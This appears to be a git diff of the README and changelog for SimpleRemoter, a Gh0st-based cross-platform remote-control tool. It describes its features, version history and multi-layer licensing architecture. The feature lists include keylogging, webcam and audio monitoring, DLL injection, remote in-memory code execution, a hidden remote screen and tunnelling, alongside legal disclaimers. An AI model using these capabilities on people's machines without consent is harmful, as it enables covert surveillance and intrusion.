- **Web 远程桌面Go 主控)**H.264 → WebSocket → WebCodecs 解码、1080P @ 20fps、桌面 + 移动端全适配远程光标同步、Keyboard Lock 防 ESC/F11 误退、控制态下 F11/Esc 直传目标
- **Web 远程终端Go 主控)**xterm.js + PTY/ConPTY 透明转发、调整尺寸、断开自动清理面板
- **多用户体系Go 主控)**:管理员/普通用户分级、按设备组授权、Challenge-Response 登录、登录限流IP + 用户名)、不透明 token
- **Linux 客户端剪贴板**:基于 xclip / xsel 的双向剪贴板同步,支持 `text/uri-list` 文件路径
- **macOS 客户端剪贴板**:基于 NSPasteboard 的双向剪贴板同步,文件 URL + 旧版 API 兼容
**改进:**
- Web 会话自适应质量被 clamp 到 H264-only 等级(≥ Good避免 Ultra/HighDIFF/RGB565让浏览器无法解码
- Linux 客户端默认 `QualityLevel` 改为 `QUALITY_GOOD`(对齐 Windows/macOS不再请求服务端自适应
- 登录文本字段按客户端能力位条件解码 UTF-8 / GBK修正德文/法文等带变音符的主机名 / 地理位置乱码
- 设备列表稳定排序(按上线时间),避免每次心跳 / WS 推送都洗牌
- RDP 重置按钮接通到设备端 `CMD_RESTORE_CONSOLE`
- MFC 主控开启 Web 远控会话时不再短暂闪一下窗口OnInitDialog 会话判定上移)
**Bug 修复:**
- Web 会话从全屏点关闭后设备列表点击失灵fullscreen 子树规则,`showPage` 统一退全屏)
- 客户端突然断开后 Web 远控页面停留在 "Connected" 永不刷新(新增 `device_offline` 通知)
- 多显示器轮询导致两路屏幕子连接同时灌帧,画面在两个显示器间跳变(`BindScreenConn` 退役旧 sub-conn
- Go 主控 `ListDevices` 因 map 迭代随机化导致列表乱序
### v1.3.3 (2026.5.10)
**Linux/macOS 客户端深化 & 双层认证安全**
- 服务端身份校验Layer 1Linux/macOS 客户端 HMAC-SHA256 校验服务端身份
- 子连接认证Layer 2TOKEN_CONN_AUTH所有子连接首包签名 + clientID 钉死
- Linux 客户端H.264 硬件编码、XFixes 光标类型检测、UTF-8 协议能力位
- macOS 客户端:文件管理器、远程终端、剪贴板同步、守护进程模式
- 主控屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤
- 共享代码抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers
### v1.3.2 (2026.5.1)
**macOS 客户端 & Web 远程桌面增强**
**新功能:**
- macOS 客户端支持:全新实现的 macOS 原生客户端支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
- 触发器功能:支持主机上线事件触发自定义操作
- 用户管理功能:新增角色权限管理,支持多用户分级控制
- DLL 执行增强:参数持久化存储、支持自动运行配置
- 远程桌面输入法切换:支持远程切换被控端输入语言
**改进:**
- Web 远程桌面手势优化改进双指手势识别、双击拖拽、Shift 组合键支持
**Bug 修复:**
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
- 修复 macOS 完全磁盘访问权限检测不准确的问题
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
- 修复鼠标双击和远程桌面切换问题
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
- 全新 macOS 原生客户端屏幕捕获、H.264 编码、键鼠控制
- Web 远程桌面光标同步
- 触发器功能、用户管理(角色权限)
- DLL 执行增强、远程桌面输入法切换
### v1.3.1 (2026.4.15)
**Web 远程桌面 & 多主控共享增强**
**Web 远程桌面MFC 主控) & 多主控共享增强**
**新功能:**
- Web 远程桌面:基于 WebSocket 实现,支持手机/平板通过浏览器访问远程桌面([配置指南](./docs/WebHTTPS.md)
- 撤销共享菜单:支持撤销已共享给其他主控的客户端
- 工具栏音频控制:远程桌面工具栏新增系统音频开关图标
**改进:**
- 多显示器禁用自适应:客户端有多个显示器时自动禁用自适应质量
- 状态栏过期日期自动更新:授权续期后状态栏立即刷新
- 减少无效离线日志:客户端不在主机列表时减少离线日志输出
- 多层授权自动更新:第二层及以下主控的授权自动同步更新
- 使用提示增强:新增多处操作提示改善用户体验
- DLL 缓存复用:将 DLL 保存到注册表,下次启动时直接复用
**Bug 修复:**
- 修复共享客户端时键盘记录可能无法正常工作的问题
- Web 远程桌面:基于 WebSocket 实现,手机/平板浏览器访问
- 多显示器禁用自适应、状态栏过期日期自动更新
- 多层授权自动更新、DLL 缓存复用
### v1.3.0 (2026.4.8)
**多层级 FRP 架构 & 品牌定制**
**新功能:**
- 本地 FRPS 服务器支持(仅 64 位):内置 FRP 服务端,简化部署
- 多层级架构自动 FRP 集成:下级主控自动获取上级 FRP 配置
- V2 授权下级连接数限制:支持控制下级并发连接数
- 许可证文件导入/导出支持(.lic 格式)
- 过期授权续期支持:无需重新生成许可证
- 增强型硬件 ID (V2):解决 VPS 重复 SN 问题
- MaxDepth 控制:限制分级 Master 层级深度
- 许可证管理增强:配额支持、动态对话框、删除功能
- IP 定位 API 多提供商回退:提高定位成功率
- UI 品牌定制支持自定义程序名称、Logo、版权等
- 运行时功能限制:试用版功能限制可配置
- 输入历史下拉框:快速选择历史输入
- 生成客户端新增选项:更多自定义配置
- 支持动态修改项目链接:无需重新编译更换帮助/反馈链接
- 本地 FRPS 服务器、多层级架构自动 FRP 集成
- V2 授权下级连接数限制、许可证文件导入/导出
- 增强型硬件 ID (V2)、UI 品牌定制
- 运行时功能限制可配置
**Bug 修复:**
- 修复 RebuildFilteredIndices 的 Use-after-free 崩溃
- 修复 CLock::Lock 中 IOCP 竞态条件崩溃 (#215)
- 修复崩溃保护服务清理和代理提升问题
- 修复消息日志无限增长导致的潜在崩溃
- 修复 FeatureFlags 引入后 UpperHash 字符串长度问题
- 修复客户端 SN 生成以支持 HWIDVersion 设置
### 更早版本
**改进:**
- 重构 res/ 目录结构,添加菜单图标
- 过期密码不再被自动清除
- 保持下级主控与第一层主控的连接稳定
### v1.0.2.9 (2026.3.27)
**网络安全 & 稳定性增强**
**新功能:**
- 网络配置对话框IP 白名单/黑名单管理,实时生效
- 可配置的连接限流DLL 请求限流、IP 封禁阈值可调
- IP 历史记录对话框:查看授权 IP 登录历史
- 状态栏显示 MTBF/运行时间和授权到期日期
- 代理崩溃保护5 分钟内 3 次崩溃自动切换普通模式
- 客户端搜索功能Ctrl+F 快速搜索 IP、位置、计算机名
- 自动封禁异常 IP60 秒内超过 15 次连接自动封禁 1 小时
- Proxy Protocol v2 支持FRP 代理后获取真实客户端 IP
- Linux 剪贴板同步和 V2 文件传输支持
- 右键菜单运行客户端程序
- 多层授权混淆支持
**Bug 修复:**
- 修复 OnUserOfflineMsg 竞态条件导致的崩溃
- 修复客户端请求 FRPC DLL 时 FrpcParam 丢失
- 最大数据包从 10MB 增加到 50MB
- 支持 mstsc 远程会话读取用户注册表
- 修复远程桌面最小化时剪贴板误触发
- 修复操作进程对话框时主控崩溃
- 状态栏主机数量实时更新
- Linux select() 调用前重置 timeval
- 授权码格式验证,过滤垃圾数据
**改进:**
- 增强授权检查,添加 IP 封禁提示
- 支持主控程序以用户权限运行
- 大 DLL 自动使用 TinyRun 回退方案
### v1.2.8 (2026.3.11)
**邮件通知 & 远程音频**
- 主机上线邮件通知SMTP 配置、关键词匹配、右键快捷添加)
- 远程音频播放WASAPI Loopback+ Opus 压缩24:1
- 多 FRPS 服务器同时连接支持
- 自定义光标显示和追踪
- V2 授权协议ECDSA 签名)
- 修复非中文 Windows 系统乱码问题
- Linux 客户端屏幕压缩算法优化
### v1.2.7 (2026.2.28)
**V2 文件传输协议**
- 支持 C2C客户端到客户端直接传输
- 断点续传和大文件支持(>4GB
- SHA-256 文件完整性校验
- WebView2 + xterm.js 现代终端
- Linux 文件管理支持
- 主机列表批量更新优化,减少 UI 闪烁
### v1.2.6 (2026.2.16)
**远程桌面工具栏重写**
- 状态窗口显示 RTT、帧率、分辨率
- 全屏工具栏支持 4 个位置和多显示器
- H.264 带宽优化
- 授权管理 UI 完善
### v1.2.5 (2026.2.11)
**自适应质量控制 & Linux 客户端**
- 基于 RTT 的智能质量调整
- RGB565 算法(节省 50% 带宽)
- 滚动检测优化(节省 50-80% 带宽)
- Linux 客户端初版发布
完整更新历史请查看:[history.md](./history.md)
v1.2.x 系列(邮件通知、远程音频 Opus、V2 授权协议、V2 文件传输、现代 Web 终端 xterm.js、远程桌面工具栏重写、自适应质量控制、Linux 客户端初版……)及 2019 年以来的全部演进,请见 [history.md](./history.md)。
---
## 相关项目
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现
---
@@ -728,7 +469,6 @@ cd macos
| **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [问题反馈](https://t.me/SimpleRemoter) |
| **PR** | [贡献代码](https://git.simpleremoter.com/) |

File diff suppressed because it is too large Load Diff

View File

@@ -9,18 +9,18 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
</a>
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
</p>
<p align="center">
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
</a>
</p>
@@ -29,10 +29,7 @@
> [!WARNING]
> **重要法律聲明**
>
> 本軟**僅供教育目的及授權使用場景**,包括:
> - 在您的組織內進行遠端 IT 管理
> - 經授權的滲透測試和安全研究
> - 個人設備管理和技術學習
> 本軟**僅供教育目的及授權使用情境**:組織內遠端 IT 管理、經授權的滲透測試與安全研究、個人裝置管理與技術學習。
>
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
@@ -41,12 +38,13 @@
## 目錄
- [專案簡介](#專案簡介)
- [免責聲明](#免責聲明)
- [本版本亮點:全平台閉環](#本版本亮點全平台閉環)
- [合規與反濫用](#合規與反濫用)
- [功能特性](#功能特性)
- [技術亮點](#技術亮點)
- [全平台支援](#全平台支援)
- [系統架構](#系統架構)
- [快速開始](#快速開始)
- [用戶端支援](#用戶端支援)
- [使用者文件](#使用者文件)
- [更新日誌](#更新日誌)
- [相關專案](#相關專案)
- [聯絡方式](#聯絡方式)
@@ -55,25 +53,9 @@
## 專案簡介
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 三平台的企業級遠端管理工具
**SimpleRemoter** 是一個端到端跨平台的遠端控制解決方案。
### 核心能力
| 類別 | 功能 |
|------|------|
| **遠端桌面** | 即時螢幕控制、多顯示器支援、H.264 編碼、自適應品質 |
| **檔案管理** | 雙向傳輸、斷點續傳、C2C 傳輸、SHA-256 校驗 |
| **終端管理** | 互動式 Shell、ConPTY/PTY 支援、現代 Web 終端 |
| **系統管理** | 程序/服務/視窗管理、登錄檔瀏覽、工作階段控制 |
| **媒體擷取** | 網路攝影機監控、音訊監聽、鍵盤記錄 |
| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
### 適用場景
- **企業 IT 運維**:批次管理內網設備,遠端故障排查
- **遠端辦公**:安全存取辦公電腦,檔案同步傳輸
- **安全研究**:滲透測試、紅隊演練、安全稽核
- **技術學習**網路程式設計、IOCP 模型、加密傳輸實踐
專案核心基於經典 **Gh0st 架構**,最早始於 2019 年 1 月。歷經 7 年持續迭代——從 IOCP 通訊核心重構、x264 視訊級編碼、V2 檔案傳輸協定、多層授權體系,到 Linux 與 macOS 用戶端的引入——本版本最終完成**用戶端 + 伺服端的全平台閉環**三大桌面作業系統Windows / Linux / macOS在任一側都可作為受控端或主控端。
**原始來源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
@@ -81,36 +63,73 @@
---
## 免責聲明
## 本版本亮點:全平台閉環
**請在使用本軟件前仔細閱讀以下聲明:**
本專案長期以 **C++ MFC 主控**`YAMA.exe`)為核心交付形態——經典 Gh0st 架構、IOCP 高效能核心、完整的遠端桌面 / 檔案 / 程序 / 媒體功能堆疊、多層授權體系、品牌客製化——**至今仍是主要使用的主控**。MFC 主控內建了基於 WebSocket 的 Web 遠端桌面服務,從 v1.3.1 起就已經支援**任意平台的瀏覽器**遠控被管裝置(手機 / 平板 / Linux / macOS 桌面均可)。
1. **合法用途**:本專案僅供合法的技術研究、學習交流和授權的遠端管理使用。嚴禁將本軟件用於未經授權存取他人電腦系統、竊取資料、監控他人隱私等任何違法行為
本版本v1.3.4)補上了最後一塊拼圖——**Go 主控**:一個**功能簡潔、聚焦於「遠端桌面 + 遠端終端 + 多使用者分級」** 的輕量伺服端,跨 Windows / Linux / macOS 編譯執行。它的定位**不是取代 MFC**,而是為那些**不方便執行 Windows VPS** 的使用者提供原生的 Linux / macOS 主控落腳點——例如純 Linux 伺服器、ARM Mac 長駐、嵌入式主控盒等情境
2. **使用者責任**:使用者必須遵守所在國家/地區的法律法規。因使用本軟件而產生的任何法律責任,由使用者自行承擔。
### 兩種主控形態如何選擇
3. **無擔保聲明**:本軟件按「現狀」提供,不附帶任何明示或暗示的擔保,包括但不限於適銷性、特定用途適用性的擔保。
| 形態 | GUI | 功能覆蓋 | 平台 | 定位 |
|---|---|---|---|---|
| **C++ MFC 主控** (`YAMA.exe`) | 原生 Windows GUI + 內建 Web 服務 | ✅ **全部功能** | Windows | **主推方案**。日常運維、檔案管理、媒體擷取、多層授權、品牌客製化等都用它 |
| **Go 主控**(新) | Web UI任何瀏覽器 | 遠端桌面 + 遠端終端 + 多使用者 | Windows / Linux / macOS | **補充方案**。需要「零 Windows 依賴」的純 Linux / macOS 主控部署 |
4. **免責條款**:開發者不對因使用、誤用或無法使用本軟件而造成的任何直接、間接、偶然、特殊或後果性損害承擔責任。
> [!TIP]
> 兩種主控**使用同一套用戶端**——可以混搭,例如一台 Windows MFC 主控 + 一台 Linux Go 主控並行管理同一批裝置群。
5. **版權聲明**:本專案採用 MIT 協議開源,允許自由使用、修改和分發,但必須保留原始版權聲明。
### Go 主控的核心能力v1.3.4 新增)
**繼續使用本軟件即表示您已閱讀、理解並同意上述所有條款。**
- **遠端桌面**H.264 流透過 WebSocket 直接推送瀏覽器WebCodecs 硬體解碼1080P @ 20fps 流暢
- **遠端終端**xterm.js + ConPTY/PTY支援調整尺寸、Tab 自動補全
- **多使用者體系**:管理員 / 一般使用者分級、Challenge-Response 登入、不透明 token、按裝置群授權
- **生產部署**Nginx 反向代理 + Let's Encrypt + Keyboard Lock + 全螢幕控制,防止 ESC / F11 誤退出
- **刻意保持輕量**:不包含檔案管理、媒體擷取、登錄檔、服務管理等 MFC 主控專屬功能——這些請走 MFC 主控
### 全平台支援矩陣
| | **用戶端 (受控端)** | **主控端** |
|---|---|---|
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
---
## 合規與反濫用
本專案長期堅持「明確的合規姿態」立場。本版本進一步收緊反濫用邊界。
### 內建技術措施
原始碼層面構築多道獨立可驗證的反濫用屏障,詳見 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md)
- **入站連線 IP 區段校驗**:試用版若被部署到公網會觸發可見告警 latch
- **監聽埠數量上限**:試用版限制 ≤ 2 個監聽埠,防多租戶中轉改造
- **應用層 RTT 反代理**LAN 內 RTT 閾值偵測,反向代理 / 隧道會被識別
- **多層授權架構**V2 ECDSA 離線 + V1 連線 + 試用版分級,每一層限制獨立
- **Web 主控驗證**:強制 Challenge-Response 登入、登入限流、不透明 token、操作可稽核
### 合規文件
| 文件 | 內容 |
|---|---|
| 📖 [反濫用與合規使用政策](./docs/Compliance_AntiAbuse.md) | 完整的發行方-使用方責任劃分 |
| 📖 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md) | 每一道屏障的原始碼位置、設計動機、已知侷限 |
> [!IMPORTANT]
> **網路連線與隱私聲明**
>
> 主控程式(伺服器端)會根據授權狀態與授權伺服器進行網路通訊:
>
> | 版本類型 | 連線行為 |
> |---------|---------|
> | 試用版本 | 維持與授權伺服器的持續連線 |
> | V1/V2 授權版本 | 啟動時連線驗證,通過後斷 |
> | V2 離線授權版本 | 無需連線授權伺服器 |
>
> 除獲得離線授權外,主控程式會與授權伺服器進行必要的資料互(如偵測破解行為、驗證授權有效性)。
>
> **使用本軟體即表示您接受主控程式與授權伺服器之間的資料傳輸。如您不同意,請勿使用本軟體。**
> **使用本軟體即視為您已閱讀、理解並接受上述合規文件全部條款。** 如您不能或不願接受任一條款,請立即停止使用並銷毀本軟體副本。
### 網路連線與隱私
| 版本類型 | 連線行為 |
|---|---|
| 試用版本 | 維持與授權伺服器的持續連線 |
| V1/V2 授權版本 | 啟動時連線驗證,通過後斷 |
| V2 離線授權版本 | 無需連線授權伺服器 |
除獲得離線授權外,主控程式會與授權伺服器進行必要的資料互(如偵測破解行為、驗證授權有效性)。
---
@@ -120,240 +139,149 @@
![遠端桌面](./images/Remote.jpg)
- **多種截圖方式**GDI相容性強、DXGI高效能、虛擬桌面背景執行
- **智慧壓縮演算法**
- DIFF 差分演算法 - SSE2 優化,僅傳輸變化區域
- RGB565 演算法 - 節省 50% 頻寬
- H.264 編碼 - 視訊級壓縮,適合高幀率場景
- 灰階模式 - 極低頻寬消耗
- **自適應品質**:根據網路 RTT 自動調整幀率5-30 FPS、解析度和壓縮演算法
- **多顯示器**:支援多螢幕切換和多螢幕牆顯示
- **隱私螢幕**:被控端螢幕可隱藏,支援鎖定畫面狀態下控制
- **檔案拖放**Ctrl+C/V 跨設備複製貼上檔案
- **Web 遠端桌面**:透過瀏覽器存取遠端桌面,支援手機/平板([設定指南](./docs/WebHTTPS.md)
- **多種螢幕擷取**GDI / DXGI / 虛擬桌面Windows、X11 + XShmLinux、CGDisplayStreammacOS
- **智慧壓縮**DIFF 差分SSE2 最佳化)/ RGB565節省 50% 頻寬)/ **H.264**視訊級壓縮x264 + VideoToolbox + WebCodecs/ 灰階模式
- **自適應品質**:根據 RTT 自動調節影格率5-30 FPS、解析度、壓縮演算法
- **多顯示器**:多螢幕切換 + 多螢幕上牆
- **跨裝置檔案拖曳**Ctrl+C/V 跨裝置複製貼上檔案
- **Web 遠端桌面**:瀏覽器直接存取,手機 / 平板可用([設定指南](./docs/WebHTTPS.md)
![Web遠端桌面](./images/WebRemote.png)
### 檔案管理
![檔案管理](./images/FileManage.jpg)
- **V2 傳輸協定**全新設計,支援大檔案(>4GB
- **斷點續傳**:網路中斷後自動恢復,狀態持久化
- **V2 傳輸協定**支援 >4GB 大檔、斷點續傳、SHA-256 校驗
- **C2C 傳輸**:用戶端之間直接傳輸,無需經過主控
- **完整性校驗**SHA-256 雜湊驗證,確保檔案完整
- **批次操作**:支援檔案搜尋、壓縮、批次傳輸
- **批次操作**:搜尋、壓縮、批次傳輸
### 終端管理
![終端管理](./images/Console.jpg)
![終端管理](./images/LinuxClient.png)
- **互動式 Shell**完整的命令列體驗,支援 Tab 補全
- **ConPTY 技術**Windows 10+ 原生虛擬終端支援
- **現代 Web 終端**基於 WebView2 + xterm.jsv1.2.7+
- **終端尺寸調整**:自適應視窗大小
### 程序與視窗管理
| 程序管理 | 視窗管理 |
|---------|---------|
| ![程序](./images/Process.jpg) | ![視窗](./images/Window.jpg) |
- **程序管理**檢視程序清單、CPU/記憶體佔用、啟動/終止程序
- **程式碼注入**:向目標程序注入 DLL需系統管理員權限
- **視窗控制**:最大化/最小化/隱藏/關閉視窗
### 媒體功能
| 視訊管理 | 音訊管理 |
|---------|---------|
| ![視訊](./images/Video.jpg) | ![音訊](./images/Voice.jpg) |
- **網路攝影機監控**:即時視訊串流,支援解析度調整
- **音訊監聽**:遠端聲音擷取,支援雙向語音
- **鍵盤記錄**:線上/離線記錄模式
- **互動式 Shell**Tab 自動補全、ANSI escape、調整尺寸
- **現代終端**Windows ConPTY、Linux / macOS PTY
- **Web 終端**xterm.js + WebSocket與原生體驗一致
### 其他功能
- **服務管理**:檢視和控制 Windows 服務
- **登錄檔瀏覽**:唯讀方式瀏覽登錄檔內容
- **工作階段控制**:遠端登出/關機/重新啟動
- **SOCKS 代理**:透過用戶端建立代理通道
- **FRP 穿透**:內建 FRP 支援,輕鬆穿透內網
- **程式碼執行**:遠端執行 DLL支援熱更新
| 模組 | 能力 |
|---|---|
| **程序管理** | 程序清單、CPU / 記憶體佔用、終止、DLL 注入 |
| **視窗管理** | 最大化 / 最小化 / 隱藏 / 關閉 |
| **媒體擷取** | 網路攝影機、雙向語音、鍵盤記錄 |
| **系統控制** | 服務管理、登錄檔、工作階段登出 / 關機 |
| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
| **程式碼執行** | 遠端執行 DLL、記憶體載入、熱更新 |
---
## 技術亮點
## 全平台支援
### 高效能網路架構
### Windows 用戶端
```
┌─────────────────────────────────────────────────────────┐
│ IOCP 通訊模型 │
├─────────────────────────────────────────────────────────┤
│ • I/O 完成埠Windows 最高效的非同步 I/O 模型 │
│ • 單主控支援 10,000+ 並行連線 │
│ • 支援 TCP / UDP / KCP 三種傳輸協定 │
│ • 自動分塊處理大資料封包(最大 128KB 傳送緩衝) │
└─────────────────────────────────────────────────────────┘
```
**系統需求**Windows 7 SP1 及以上
**功能完整性**:✅ 全部功能支援
### 自適應品質控制
### Linux 用戶端v1.2.5+
基於 RTTRound-Trip Time的智慧品質調整系統
**系統需求**
- 顯示伺服器X11/Xorg暫不支援 Wayland
- 必需函式庫libX11推薦函式庫libXtstXTest 擴充、libXss閒置偵測
| RTT 延遲 | 品質等級 | 幀率 | 解析度 | 壓縮演算法 | 適用場景 |
|---------|---------|------|--------|-----------|---------|
| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 區域網路辦公 |
| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般辦公 |
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨網/視訊 |
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨網辦公 |
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 較差網路 |
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 極差網路 |
| 功能 | 狀態 | 實作 |
|---|---|---|
| 遠端桌面 | ✅ | X11 螢幕擷取 + libx264 H.264 硬體編碼 |
| 遠端終端 | ✅ | PTY 互動式 Shell |
| 檔案管理 | ✅ | V2 協定、雙向傳輸、大檔 |
| 程序管理 | ✅ | 清單 + 終止 |
| 剪貼簿同步 | ✅ | xclip / xsel 外部工具,支援檔案 URI |
| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
| 常駐程序 | ✅ | 雙 fork 守護化 |
- **零額外開銷**:複用心跳封包計算 RTT
- **快速降級**2 次偵測即觸發,回應網路波動
- **謹慎升級**5 次穩定後才提升品質
- **冷卻機制**:防止頻繁切換
**編譯**`cd linux && cmake . && make`
### V2 檔案傳輸協定
### macOS 用戶端v1.3.2+
```cpp
// 77 位元組協定標頭 + 檔案名稱 + 資料載荷
struct FileChunkPacketV2 {
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
uint64_t transferID; // 傳輸工作階段 ID
uint64_t srcClientID; // 來源用戶端 ID (0=主控端)
uint64_t dstClientID; // 目標用戶端 ID (0=主控端, C2C)
uint32_t fileIndex; // 檔案編號 (0-based)
uint32_t totalFiles; // 總檔案數
uint64_t fileSize; // 檔案大小(支援 >4GB
uint64_t offset; // 目前區塊位移
uint64_t dataLength; // 本區塊資料長度
uint64_t nameLength; // 檔案名稱長度
uint16_t flags; // 標誌位元 (FFV2_LAST_CHUNK 等)
uint16_t checksum; // CRC16 校驗(可選)
uint8_t reserved[8]; // 預留擴充
// char filename[nameLength]; // UTF-8 相對路徑
// uint8_t data[dataLength]; // 檔案資料
};
```
**系統需求**
- macOS 10.15 (Catalina) 及以上
- 架構Intel (x64) 和 Apple Silicon (arm64) 通用二進位檔
- 系統權限:螢幕錄影、輔助功能、完整磁碟存取
**特性**
- 大檔案支援uint64_t 突破 4GB 限制)
- 斷點續傳(狀態持久化到 `%TEMP%\FileTransfer\`
- SHA-256 完整性校驗
- C2C 直傳(用戶端到用戶端)
- V1/V2 協定相容
| 功能 | 狀態 | 實作 |
|---|---|---|
| 遠端桌面 | ✅ | CGDisplayStream + VideoToolbox H.264 硬體編碼 |
| 鍵鼠控制 | ✅ | CGEvent支援雙擊、拖曳 |
| 遠端終端 | ✅ | PTY 互動式 Shellzsh/bash |
| 檔案管理 | ✅ | V2 協定、大檔 |
| 程序管理 | ✅ | proc_listpids + 終止 |
| 剪貼簿同步 | ✅ | NSPasteboard支援檔案 URL + NSFilenamesPboardType |
| 常駐模式 | ✅ | `-d` 後台執行、電源管理、閒置偵測 |
### 螢幕傳輸優化
**編譯**`cd macos && ./build.sh`
- **SSE2 指令集**:像素差分計算硬體加速
- **多執行緒並行**:執行緒池分塊處理螢幕資料
- **捲動偵測**:識別捲動場景,減少 50-80% 頻寬
- **H.264 編碼**:基於 x264GOP 控制,視訊級壓縮
### Go 主控v1.3.4+
### 安全機制
**系統需求**Go 1.21+(僅編譯時);二進位執行無依賴
| 層級 | 措施 |
|------|------|
| **傳輸加密** | AES-256 資料加密,可設定 IV |
| **身分驗證** | 簽章驗證 + HMAC 認證 |
| **授權控制** | 序號綁定IP/網域),多級授權 |
| **檔案校驗** | SHA-256 完整性驗證 |
| **工作階段隔離** | Session 0 獨立處理 |
| 能力 | 實作 |
|---|---|
| 遠端桌面 | H.264 → WebSocket → WebCodecs1080P @ 20fps |
| 遠端終端 | xterm.js + PTY/ConPTY 透明轉發 |
| 多使用者 | Challenge-Response + 不透明 token + 按群授權 |
| 部署 | Nginx 反向代理 / Let's Encrypt / systemd unit / `/etc/environment` |
### 相依套件
| 套件 | 版本 | 用途 |
|------|------|------|
| zlib | 1.3.1 | 通用壓縮 |
| zstd | 1.5.7 | 高速壓縮 |
| x264 | 0.164 | H.264 編碼 |
| libyuv | 190 | YUV 轉換 |
| HPSocket | 6.0.3 | 網路 I/O |
| jsoncpp | 1.9.6 | JSON 解析 |
**編譯**`cd server/go && go build -o server_linux_amd64 ./cmd`
---
## 系統架構
### 全平台拓撲
```
┌─────────────────────────────────────────────────────────────────────────────
多層授權架構 (Multi-Layer Authorization)
├─────────────────────────────────────────────────────────────────────────────┤
┌─────────────────────┐
超級管理員 │
│ (授權伺服器) │
│ Super Admin │
│ └─────────┬───────────┘ │
│ │
┌──────────────┼──────────────┐ │
│ V2 授權 │ V2 授權 │ V2 授權 │
│ (ECDSA) │ (ECDSA) │ (ECDSA)
▼ ▼ ▼ │
┌───────────┐ ┌───────────┐ ┌───────────┐
│ │ 第一層 A │ │ 第一層 B │ │ 第一層 C │ ◄── 獨立營運 │
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ 完全隔離
└─────┬─────┘ └─────┬─────┘ └─────┬─────┘
│ │ │ │
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
│ │ V1 授權 │ │ │ V1 授權 │ │
│ ▼ ▼ ▼ ▼ ▼ │
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
│ │ 下級 A1 │ │ 下級 A2 │ │ 下級 C1 │ │ 下級 C2 │ │
│ │ Master │ │ Master │ │ Master │ │ Master │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
│ │
